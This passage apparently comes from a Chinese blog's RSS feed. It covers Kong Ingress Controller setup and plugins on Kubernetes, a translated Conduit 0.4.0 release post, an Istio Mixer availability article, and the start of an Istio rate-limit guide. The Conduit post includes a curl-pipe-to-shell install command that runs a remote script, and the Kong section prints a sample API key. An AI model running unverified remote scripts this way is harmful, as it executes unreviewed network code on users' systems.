&lt;p&gt;官方提供了一个简易的 Kubernetes 环境中的&lt;a href=&#34;https://raw.githubusercontent.com/Kong/kubernetes-ingress-controller/master/deploy/single/all-in-one-postgres.yaml&#34; target=&#34;_blank&#34;&gt;安装文件&lt;/a&gt;；另外在 Ingress Controller 出现之前，Kong 也有一个相对更丰富的 &lt;a href=&#34;https://getkong.org/install/kubernetes/&#34; target=&#34;_blank&#34;&gt;Kubernetes 下的安装文档&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;全部组件都运行在 kong 命名空间。&lt;/p&gt;

&lt;h3 id=&#34;数据库&#34;&gt;数据库&lt;/h3&gt;

&lt;p&gt;安装过程中会创建一个 Postgres 的 StatefulSet，前面提到，这一版本对 Kubernetes 集群的最低版本要求是 1.8，如果是 1.8 版本，需要将这一个 StatefulSet API 版本改为 &lt;code&gt;apps/v1beta2&lt;/code&gt;。另外这一部分需要用 PVC 的形式给数据提供存储空间，所以集群中应该设置缺省 StorageClass。完整的 Kubernetes 安装文档中，还介绍了 Cassandra 的存储方式。&lt;/p&gt;

&lt;h3 id=&#34;crd&#34;&gt;CRD&lt;/h3&gt;

&lt;p&gt;安装过程中创建了如下的自定义资源：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;凭据：用于身份认证。&lt;/li&gt;
&lt;li&gt;服务消费者：给不同的 API 用户提供不同的消费者身份，以便实施不同的治理方式。&lt;/li&gt;
&lt;li&gt;插件：将过去使用 HTTP API 管理的插件系统，以 CRD 的形式在 Kubernetes 环境下统一管理。&lt;/li&gt;
&lt;li&gt;KongIngress：对反向代理行为本身进行定义。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;服务&#34;&gt;服务&lt;/h3&gt;

&lt;p&gt;其中提供了两组服务：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;kong-ingress-controller：暴露 8001 端口，用于对 Kong 进行管理。这里建议将服务类型改为 ClusterIP，而不是直接暴露于公网。&lt;/li&gt;
&lt;li&gt;kong-proxy：Ingress 服务，对其承载的接口调用都从此经过，可以根据集群情况酌情使用 NodePort 或者 ClusterIP -&amp;gt; Ingress 的方式对外提供服务。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;提供服务&#34;&gt;提供服务&lt;/h2&gt;

&lt;p&gt;安装结束后，就可以使用网关来对外提供服务了。&lt;/p&gt;

&lt;p&gt;官方提供了一个简单的&lt;a href=&#34;https://raw.githubusercontent.com/Kong/kubernetes-ingress-controller/master/deploy/manifests/dummy-application.yaml&#34; target=&#34;_blank&#34;&gt;例子应用&lt;/a&gt;，我们当然也可以选择别的应用来试用。为他编写一个 Ingress 资源：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: extensions/v1beta1
kind: Ingress
metadata:
  name: dummy
  annotations:
    kubernetes.io/ingress.class: nginx # 这里仍然是 nginx
spec:
  rules:
  - host: dummy.example.com
    http:
      paths:
      - path: /
        backend:
          serviceName: http-svc
          servicePort: 89
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;如果没有公网 Loadbalancer 条件，可以使用 &lt;code&gt;/etc/hosts&lt;/code&gt;、dnsmasq、或者 curl host 几种方式来模拟。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;ingress 资源创建成功之后，就可以使用域名来访问这一服务了。&lt;/p&gt;

&lt;h3 id=&#34;tls-加密&#34;&gt;TLS 加密&lt;/h3&gt;

&lt;p&gt;作为 Ingress Controller，添加证书提供 https 服务也是基本要求之一。这方面 Kong Ingress Controller 使用的是 tls secret 的方式：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;首先获取证书，可以自行签名，或者使用已有证书文件。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kubectl create secret tls rocks --key privkey.pem --cert fullchain.pem&lt;/code&gt;：创建一个名为 &lt;code&gt;rocks&lt;/code&gt; 的 Secret，其中包含我们的证书和私钥。&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在 Ingress 资源定义中加入下列内容，引用刚才创建的 Secret：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;tls:
- hosts:
- dummy.example.com
secretName: rocks
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;这样就可以使用 https 进行访问了。&lt;/p&gt;

&lt;h2 id=&#34;试用限流插件&#34;&gt;试用限流插件&lt;/h2&gt;

&lt;p&gt;前面提到，Kong Ingress Controller 使用 CRD 方式来实现插件的应用。下面我们创建一个限流插件的 CRD：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: configuration.konghq.com/v1
kind: KongPlugin
metadata:
  name: one-per-second-ten-per-hour
config:
  hour: 10
  limit_by: ip
  second: 1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;目前并没有很完善的插件 CRD 规范的文档，因此其中的具体字段需要去该插件的文档页面去查找，例如这里引用的 &lt;a href=&#34;https://getkong.org/plugins/rate-limiting/&#34; target=&#34;_blank&#34;&gt;Ratelimit&lt;/a&gt;。在这一个 YAML 中我们会发现，其中并没有表明具体使用的插件以及对应的服务，通过对 controller 管理端口的 &lt;code&gt;/plugins&lt;/code&gt; 进行查询，也会看到其中并没有定义活动的插件。&lt;/p&gt;

&lt;p&gt;要把它应用到具体服务上，还需要修改我们要控制的 Ingress 资源，在其中加入注解，来引用这一 CRD：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kubernetes.io/ingress.class: nginx
rate-limiting.plugin.konghq.com: one-per-second-ten-per-hour
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交新的 Ingress 之后，再次访问管理端口的 &lt;code&gt;plugins&lt;/code&gt; 路径，会得到以下响应：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
    &amp;quot;total&amp;quot;: 1,
    &amp;quot;data&amp;quot;: [
        {
            &amp;quot;created_at&amp;quot;: 1525966801000,
            &amp;quot;config&amp;quot;: {
                &amp;quot;redis_database&amp;quot;: 0,
                &amp;quot;policy&amp;quot;: &amp;quot;cluster&amp;quot;,
                &amp;quot;redis_timeout&amp;quot;: 2000,
                &amp;quot;hide_client_headers&amp;quot;: false,
                &amp;quot;hour&amp;quot;: 20,
                &amp;quot;limit_by&amp;quot;: &amp;quot;ip&amp;quot;,
                &amp;quot;redis_port&amp;quot;: 6379,
                &amp;quot;second&amp;quot;: 10,
                &amp;quot;fault_tolerant&amp;quot;: true
            },
            &amp;quot;id&amp;quot;: &amp;quot;8539eb6f-5467-11e8-a92e-000d3a07d45d&amp;quot;,
            &amp;quot;name&amp;quot;: &amp;quot;rate-limiting&amp;quot;,
            &amp;quot;enabled&amp;quot;: true,
            &amp;quot;route_id&amp;quot;: &amp;quot;f2961715-11fd-410a-a934-dbd6822e5fac&amp;quot;
        }
    ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以使用 siege 或者 curl/wrk 等其他工具来访问 API，会发现超过限度之后，服务器返回 429 的状态码：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;HTTP/1.1 200     0.20 secs:     727 bytes ==&amp;gt; GET  /
HTTP/1.1 200     0.22 secs:     729 bytes ==&amp;gt; GET  /
HTTP/1.1 429     0.20 secs:      38 bytes ==&amp;gt; GET  /
HTTP/1.1 429     0.21 secs:      38 bytes ==&amp;gt; GET  /
HTTP/1.1 429     0.20 secs:      38 bytes ==&amp;gt; GET  /
HTTP/1.1 200     0.20 secs:     729 bytes ==&amp;gt; GET  /
HTTP/1.1 200     0.20 secs:     727 bytes ==&amp;gt; GET  /
HTTP/1.1 429     0.20 secs:      38 bytes ==&amp;gt; GET  /
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;证明限流功能已经生效。&lt;/p&gt;

&lt;h3 id=&#34;试用消费者&#34;&gt;试用消费者&lt;/h3&gt;

&lt;p&gt;前面提到，可以使用消费者这一概念，对微服务的用户身份加以甄别，从而提供不同的管控方式。在前面的基础上，我们希望为部分用户修改一下响应内容。&lt;/p&gt;

&lt;p&gt;首先创建一个 KongConsumer 对象：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: configuration.konghq.com/v1
kind: KongConsumer
metadata:
  name: rich
username: boss
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来，为这个用户创建凭据，&lt;strong&gt;凭据是需要认证的，所以还要启用一个插件：key-auth&lt;/strong&gt;，官方文档中并没有提及这一点：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: configuration.konghq.com/v1
kind: KongCredential
metadata:
  name: rich-login
consumerRef: rich # 如果删除这一字段，就代表面向所有消费者。
type: key-auth
config:
  key: 62eb165c070a41d5c1b58d9d3d725ca1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后，为这个用户创建一个插件配置&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: configuration.konghq.com/v1
kind: KongPlugin
metadata:
  name: rich-response
consumerRef: rich
config:
  hour: 100
  limit_by: ip
  second: 10
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;最后，在 Ingress 资源中启用&lt;strong&gt;两个插件&lt;/strong&gt;，分别是 &lt;code&gt;key-auth&lt;/code&gt; 和 &lt;code&gt;response-transformer&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;response-transformer.plugin.konghq.com: boss
key-auth.plugin.konghq.com: auth
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;重新配置 Ingress 之后，可以使用 curl 进行校验：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;curl --header &amp;quot;apikey: aasome_key_data&amp;quot; -s -i https://dummy.example.com
HTTP/1.1 403 Forbidden
Date: Fri, 11 May 2018 04:17:57 GMT
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Server: kong/0.13.1

{&amp;quot;message&amp;quot;:&amp;quot;Invalid authentication credentials&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到上面的认证没能通过。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;curl --header &amp;quot;apikey: some_key_data&amp;quot; -s -i https://dummy.example.com | grep boss
boss:  true
    x-consumer-username=boss2
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Key Auth 认证插件根据 APIKey 取得了用户名，并且激活了 Response Transformer 插件，在 Header 中加入了我们配置的内容。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Kong 原有的 API 在这里还是可以使用的，例如：
1. &lt;code&gt;curl http://[api-url]/plugins&lt;/code&gt; 查询生效插件
2. &lt;code&gt;curl http://[api-url]&lt;/code&gt; 返回 JSON 中的 &lt;code&gt;/plugins/available_on_server&lt;/code&gt; 列出所有可用插件。
3. &lt;code&gt;curl ttp://[api-url]/consumers&lt;/code&gt; 列出所有消费者。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;相关链接&#34;&gt;相关链接：&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;https://konghq.com/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://raw.githubusercontent.com/Kong/kubernetes-ingress-controller/master/deploy/single/all-in-one-postgres.yaml&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://raw.githubusercontent.com/Kong/kubernetes-ingress-controller/master/deploy/manifests/dummy-application.yaml&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Conduit 0.4.0：流量都去哪了？</title>
      <link>/post/conduit-0.4.0-monitor/</link>
      <pubDate>Sat, 21 Apr 2018 18:49:25 +0800</pubDate>
      <guid>/post/conduit-0.4.0-monitor/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://buoyant.io/2018/04/20/conduit-0-4-0-wheres-my-traffic/&#34; target=&#34;_blank&#34;&gt;Conduit 0.4.0: Where’s my traffic?&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;本周早些时候我们发布了 &lt;a href=&#34;https://github.com/runconduit/conduit/releases/tag/v0.4.0&#34; target=&#34;_blank&#34;&gt;Conduit v0.4.0&lt;/a&gt;，这一版本在基于 Prometheus 的遥测系统方面，有了很大进步；同时还给微服务的除错提供了新的工具。&lt;/p&gt;

&lt;p&gt;安装后的一分钟里，Conduit 给每个 Kubernetes 部署都提供了一个预配置的 Grafana Dashboard。这些 Dashboard 不只是成功率、请求量以及每服务延迟等常见指标，他还将每个指标按照依赖关系进行了分解。这样你就可以在不修改应用的情况下，轻松地回答“这个服务的流量是从哪里来的？”或者 “Foo 调用 Bar 的成功率如何”之类的问题了。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;img/dashboard.png&#34; alt=&#34;conduit-dashboard-deploy/web&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;我的流量呢&#34;&gt;我的流量呢？&lt;/h2&gt;

&lt;p&gt;在一个微服务形态的应用中，运行中的服务之间的依赖关系是很重要的问题。每服务成功率固然重要，流入服务的请求来自何处同样是不可忽视的问题，更不必说依赖服务的故障情况了。通常这些问题都是最难回答的，但是现在我们有了 Conduit 的帮助，就有机会对这些问题进行简化了。&lt;/p&gt;

&lt;p&gt;为了达成这一目标，0.4.0 中我们把 Conduit 的遥测系统中指标的获取改为拉取方式来实现。这一过程中我们还把 Conduit 的 Rust 代理进行了改进，他的指标中描述了所有请求的源、目的以及健康状况。拉取方式获取指标，降低了代理的复杂度，更加贴近 Prometheus 的生态情况。&lt;/p&gt;

&lt;p&gt;这样，Conduit 的遥测系统现在非常稳定。能深入到 Kubernetes 中任何两个 Deployment、Pod 或者命名空间之间的请求频率、成功率以及延迟等指标。还可以使用 Prometheus 进行各种查询。当然了，我们还把所有的这些集成到了 CLI 工具中，微服务中的 “TOP” 命令，想过么？&lt;/p&gt;

&lt;h2 id=&#34;动手环节&#34;&gt;动手环节&lt;/h2&gt;

&lt;p&gt;我们现在来运行一个简单的例子（要看完整的安装介绍，请参考 &lt;a href=&#34;https://conduit.io/getting-started/&#34; target=&#34;_blank&#34;&gt;Conduit 起步指南&lt;/a&gt;）。&lt;/p&gt;

&lt;p&gt;首先安装 Conduit CLI：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;curl https://run.conduit.io/install | sh&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;然后在 Kubernetes 中安装 Conduit：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;conduit install | kubectl apply -f -&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;最后，安装 &lt;code&gt;emojivoto&lt;/code&gt; 演示应用，并且将其加入 Conduit Mesh：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;curl https://raw.githubusercontent.com/runconduit/conduit-examples/master/emojivoto/emojivoto.yml | conduit inject - | kubectl apply -f -&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;演示应用中包含了一个 &lt;code&gt;vote-bot&lt;/code&gt; 服务，不断地在产生流量。这个基于 AI 的机器人在为他最喜欢的表情进行投票，他会变得越来越精明。所以为了安全起见，我们建议你不要让他长期运行。&lt;/p&gt;

&lt;p&gt;让我们看看如何用 Conduit 在演示应用中获取流量走向：&lt;/p&gt;

&lt;p&gt;先看看 Web 服务（确切的说是 Web Deployment）在做什么：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;$ conduit stat -n emojivoto deployment web
NAME  MESHED  SUCCESS     RPS    LATENCY_P50  LATENCY_P95  LATENCY_P99
web      1/1   90.00%  2.0rps            2ms          4ms          9ms
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;voting&lt;/code&gt; 服务只有一个调用者，就是 &lt;code&gt;web&lt;/code&gt; 服务。所以通过跟踪 Web 的依赖项，我们有了第一个需要监测的目标：&lt;code&gt;voting&lt;/code&gt; 服务在被 &lt;code&gt;web&lt;/code&gt; 服务调用的时候，有 83% 的成功率，这样我们就可以看看日志、跟踪或进行其他深入观察。&lt;/p&gt;

&lt;p&gt;这只是 Conduit 众多功能中的一个例子。如果想要进一步探索，可以看看所有命名空间的成功率；各个命名空间以及每个 Deployment 调用某一命名空间的成功率；甚至是 Conduit 组件自身的成功率。&lt;/p&gt;

&lt;p&gt;在 &lt;code&gt;https://youtu.be/R5UDKgX72tg&lt;/code&gt; 还有我们录制的一个关于 Conduit 0.4 的视频。&lt;/p&gt;

&lt;h2 id=&#34;下一步&#34;&gt;下一步&lt;/h2&gt;

&lt;p&gt;我们的未来版本，会把指标和遥测能力扩展到其他的 Kubernetes 对象，例如 Pod 和 RS。另外我们还会把 &lt;code&gt;conduit tap&lt;/code&gt; 命令也应用到这些对象上，让 &lt;code&gt;stat&lt;/code&gt; 和 &lt;code&gt;tap&lt;/code&gt; 完美配合。我们可能还会逐步为 Conduit 加入更多命令，来增强 Conduit 的遥测能力，敬请期待！&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Mixer 的 SPOF 迷思</title>
      <link>/post/spof-in-mixer/</link>
      <pubDate>Fri, 20 Apr 2018 20:11:36 +0800</pubDate>
      <guid>/post/spof-in-mixer/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://istio.io/blog/2017/mixer-spof-myth.html&#34; target=&#34;_blank&#34;&gt;Mixer and the SPOF Myth&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;SPOF: Single Point of Failure
我理解 Istio 想要表达的的意思：
1. Mixer 很稳定
2. 你们说的延迟不是我说的延迟&lt;/p&gt;

&lt;p&gt;低延迟，高可用。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;作者：Martin Taillefer&lt;/p&gt;

&lt;p&gt;原文地址：&lt;a href=&#34;https://istio.io/blog/2017/mixer-spof-myth.html&#34; target=&#34;_blank&#34;&gt;https://istio.io/blog/2017/mixer-spof-myth.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Mixer 出现在请求路径上，很自然的会引发一个疑问：他对系统可用性和延迟会产生什么样的影响？第一次看到 Istio 架构图时，人们最常见的问题就是：“这不就是一个单点失败的典型案例么？”&lt;/p&gt;

&lt;p&gt;本文中我们会深入挖掘和阐述 Mixer 的设计原则，在这些设计原则的支持下 Mixer 能够令人惊奇的提高 Mesh 内的系统可用性，降低平均请求延时。&lt;/p&gt;

&lt;p&gt;Istio 的 Mixer 对系统总体可用性和延迟有两个主要的好处：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;提高 SLO&lt;/strong&gt;：Mixer 把 Proxy 和服务从基础设施后端的故障中隔离出来，提供了高级、高效的 Mesh 可用性保障。Mesh 作为一个整体来说，在同基础设施后端的交互中，有了 Mixer 的帮助，会有更低的故障率。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;降低延迟&lt;/strong&gt;：通过对各个层次的分片缓存的积极使用和共享，Mixer 能够降低平均延迟。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;接下来会对上面的内容进行一下解释。&lt;/p&gt;

&lt;h2 id=&#34;istio-是怎么来的&#34;&gt;Istio 是怎么来的&lt;/h2&gt;

&lt;p&gt;Google 在多年中都在使用一个内部的 API 和服务管理系统，用于处理 Google 提供的众多 API。这一系统支持了最大的服务群（Google Maps，YouTube 以及 Gmail 等），承受上百万 QPS 峰值的冲击。这套系统运行的虽然很好，但是仍然无法跟上 Google 快速增长的脚步，很显然，要有新的架构来降低飞涨的运维成本。&lt;/p&gt;

&lt;p&gt;2014 年，我们开始了一个草案，准备替换这一系统，进行更好的伸缩。这一决定最后证明是非常正确的，在 Google 进行整体部署之后，每月降低了上百万美元的运维成本。&lt;/p&gt;

&lt;p&gt;过去，流量在进入具体的服务之前，首先会进入一个较重的代理，旧系统就是以这个代理为中心构建的。新的架构摒弃了共享代理的设计，取而代之以轻量高效的 sidecar 代理，这一代理和服务实例并行，共享一个控制平面。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;img/mixer-spof-myth-1.svg&#34; alt=&#34;Google 的 API 和 服务管理系统
&#34; /&gt;&lt;/p&gt;

&lt;p&gt;看起来很面熟吧？是的，跟 Istio 很像。Istio 就是作为这一分布式代理架构的继任者进行构思的。我们从内部系统中获取了核心的灵感，在同合作伙伴的协同工作中产生了很多概念，这些导致了 Istio 的诞生。&lt;/p&gt;

&lt;h2 id=&#34;架构总结&#34;&gt;架构总结&lt;/h2&gt;

&lt;p&gt;下图中，Mixer 在 Mesh 和基础设施之间：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;img/mixer-spof-myth-2.svg&#34; alt=&#34;Istio 拓扑&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;首层 sidercar 级别的缓存
第二层，共享缓存&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;逻辑上，Envoy sidecar 会在每次请求之前调用 Mixer，进行前置检查，每次请求之后又要进行指标报告。Sidecar 中包含本地缓存，一大部分的前置检查可以通过缓存来进行。另外，sidercar 会把待发送的指标数据进行缓冲，这样可能在几千次请求之后才调用一次 Mixer。前置检查和请求处理是同步的，指标数据上送是使用 fire-and-forget 模式异步完成的。&lt;/p&gt;

&lt;p&gt;抽象一点说，Mixer 提供：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;后端抽象&lt;/strong&gt;：Mixer 把 Istio 组件和 Mesh 中的服务从基础设施细节中隔离开来。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;中间人&lt;/strong&gt;：Mixer 让运维人员能够对所有 Mesh 和基础设施后端之间的交互进行控制。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;除了这些纯功能方面，Mixer 还有一些其他特点，为系统提供更多益处。&lt;/p&gt;

&lt;h3 id=&#34;mixer-slo-助推器&#34;&gt;Mixer：SLO 助推器&lt;/h3&gt;

&lt;p&gt;有人说 Mixer 是一个 SPOF，会导致 Mesh 的崩溃，而我们认为 Mixer 增加了 Mesh 的可用性。这是如何做到的？下面是三个理由：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;无状态&lt;/strong&gt;：Mixer 没有状态，他不管理任何自己的持久存储。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;稳固&lt;/strong&gt;：Mixer 是一个高可靠性的组件，设计要求所有 Mixer 实例都要有超过 99.999% 的可靠性。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;缓存和缓冲&lt;/strong&gt;：Mixer 能够积累大量的短期状态数据。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Sidecar 代理伴随每个服务实例而运行，必须节约使用内存，这样就限制了本地缓存和缓冲的数量。但是 Mixer 是独立运行的，能使用更大的缓存和缓冲。因此 Mixer 为 Sidecar 提供了高伸缩性高可用的二级缓存服务。&lt;/p&gt;

&lt;p&gt;Mixer 的预期可用性明显高于多数后端（多数是 99.9%）。他的本地缓存和缓冲区能够在后端无法响应的时候继续运行，因此有助于对基础设施故障的屏蔽，降低影响。&lt;/p&gt;

&lt;h3 id=&#34;mixer-延迟削减者&#34;&gt;Mixer：延迟削减者&lt;/h3&gt;

&lt;p&gt;上面我们解释过，Istio sidecar 具备有效的一级缓存，在为流量服务的时候多数时间都可以使用缓存来完成。Mixer 提供了更大的共享池作为二级缓存，这也帮助了 Mixer 降低平均请求的延迟。&lt;/p&gt;

&lt;p&gt;不只是降低延迟，Mixer 还降低了 Mesh 到底层的请求数量，这样就能显著降低到基础设施后端的 QPS，如果你要付款给这些后端，那么这一优点就会节省更多成本。&lt;/p&gt;

&lt;h2 id=&#34;下一步&#34;&gt;下一步&lt;/h2&gt;

&lt;p&gt;我们还有机会对系统做出更多改进。&lt;/p&gt;

&lt;h3 id=&#34;以金丝雀部署的方式进行配置发布&#34;&gt;以金丝雀部署的方式进行配置发布&lt;/h3&gt;

&lt;p&gt;Mixer 具备高度的伸缩性，所以他通常不会故障。然而如果部署了错误的配置，还是会引发 Mixer 进程的崩溃。为了防止这种情况的出现，可以用金丝雀部署的方式来发布配置，首先为一小部分 Mixer 进行部署，然后扩大部署范围。&lt;/p&gt;

&lt;p&gt;目前的 Mixer 并未具备这样的能力，我们期待这一功能成为 Istio 可靠性配置工作的一部分最终得以发布。&lt;/p&gt;

&lt;h3 id=&#34;缓存调节&#34;&gt;缓存调节&lt;/h3&gt;

&lt;p&gt;我们的 Sidecar 和 Mixer 缓存还需要更好的调整，这部分的工作会着眼于资源消耗的降低和性能的提高。&lt;/p&gt;

&lt;h3 id=&#34;缓存共享&#34;&gt;缓存共享&lt;/h3&gt;

&lt;p&gt;现在 Mixer 的实例之间是各自独立的。一个请求在被某个 Mixer 实例处理之后，并不会把过程中产生的缓存传递给其他 Mixer 实例。我们最终会试验使用 Memcached 或者 Redis 这样的分布式缓存，以期提供一个 Mesh 范围内的共享缓存，更好的降低对后端基础设施的调用频率。&lt;/p&gt;

&lt;h3 id=&#34;分片&#34;&gt;分片&lt;/h3&gt;

&lt;p&gt;在大规模的 Mesh 中，Mixer 的负载可能很重。我们可以使用大量的 Mixer 实例，每个实例都为各自承担的流量维护各自的缓存。我们希望引入智能分片能力，这样 Mixer 实例就能针对特定的数据流提供特定的服务，从而提高缓存命中率；换句话说，分片可以利用把相似的流量分配给同一个 Mixer 实例的方式来提高缓存效率，而不是把请求交给随机选择出来的 Mixer 实例进行处理。&lt;/p&gt;

&lt;h2 id=&#34;结语&#34;&gt;结语&lt;/h2&gt;

&lt;p&gt;Google 的实际经验展示了轻代理、大缓存控制平面结合的好处：提供更好的可用性和延迟。过去的经验帮助 Istio 构建了更精确更有效的缓存、预抓取以及缓冲策略等功能。我们还优化了通讯协议，用于降低缓存无法命中的时候，对形同产生的影响。&lt;/p&gt;

&lt;p&gt;Mixer 还很年轻。在 Istio 0.3 中，Mixer 并没有性能方面的重要改进。这意味着如果一个请求没有被 Sidecar 缓存命中，Mixer 就会花费更多时间。未来的几个月中我们会做很多工作来优化同步的前置检查过程中的这种情况。&lt;/p&gt;

&lt;p&gt;我们希望本文能够让读者能够意识到 Mixer 对 Istio 的益处。&lt;/p&gt;

&lt;p&gt;可以在论坛发表意见或问题：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;https://groups.google.com/forum/#!forum/istio-integrations&lt;/code&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Istio 限流的正确姿势</title>
      <link>/post/istio-rate-limit-upgraded/</link>
      <pubDate>Wed, 18 Apr 2018 05:47:27 +0800</pubDate>
      <guid>/post/istio-rate-limit-upgraded/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;这一部分的官方文档很落后，这一例子主要内容来自于我们团队，在各位大师的工作基础上，结合 Mixer 的一些相关内容，参考Bookinfo 中附带的新版本源代码，拼凑而成。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Istio 的限流功能和路由不同，关系到 Istio 的 &lt;a href=&#34;http://blog.fleeto.us/translation/mixer-adapter-model&#34; target=&#34;_blank&#34;&gt;Mixer 适配器模型&lt;/a&gt;，因此这里从这一模型的角度来进行限流方面的测试。&lt;/p&gt;

&lt;h2 id=&#34;handler&#34;&gt;Handler&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Mixer 使用的每个适配器都需要一些配置来进行操作。一般来说适配器需要一些内容，例如后端的 URL、认证信息、缓存选项等等。每个适配器使用一个 protobuf 消息来定义所需的配置数据。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;这里使用的是 memquota Handler，memquota 是绑定在 Mixer 进程上的，没有持久化，无 HA 能力，因此并不适合生产使用；建议今后改用 redisquota（目前暂不可用）。&lt;/p&gt;

&lt;p&gt;这个 Handler 顾名思义，是用来解决配额管理问题的。可以定义一组 memquota，设置缺省的配额以及相关的模板等。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: memquota
metadata:
  name: memquota-handler
spec:
  quotas:
    - name: tmpl-quota.quota.istio-workload # 引用模板名称 格式：[quota 模板].quota.[namespace]
      maxAmount: 5000 # 缺省限制
      validDuration: 10s # 计时窗口
      overrides: # 根据条件进行重载
      - dimensions:
          destination: php-server
          source: sleep
        maxAmount: 5
        validDuration: 10s
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;模板&#34;&gt;模板&lt;/h2&gt;

&lt;p&gt;前面的 memquota 中，有一个条目引用了一个模板。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;一个请求到达 Mesh 中的服务时，一般会发生两次对 Mixer 的调用，一次是前置检查，一次是遥测报告。每一次这种调用，Mixer 都需要调用一个或更多的适配器。不同的适配器需要不同的数据块作为输入来进行处理。例如日志适配器需要日志输入，指标适配器需要指标输入，认证适配器需要凭据输入。适配器在请求时消费的数据就是由 Mixer 的 Template 来描述的。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: quota
metadata:
  name: tmpl-quota
spec:
  dimensions:
    source: source.labels[&amp;quot;app&amp;quot;] | source.service | &amp;quot;unknown&amp;quot;
    sourceVersion: source.labels[&amp;quot;version&amp;quot;] | &amp;quot;unknown&amp;quot;
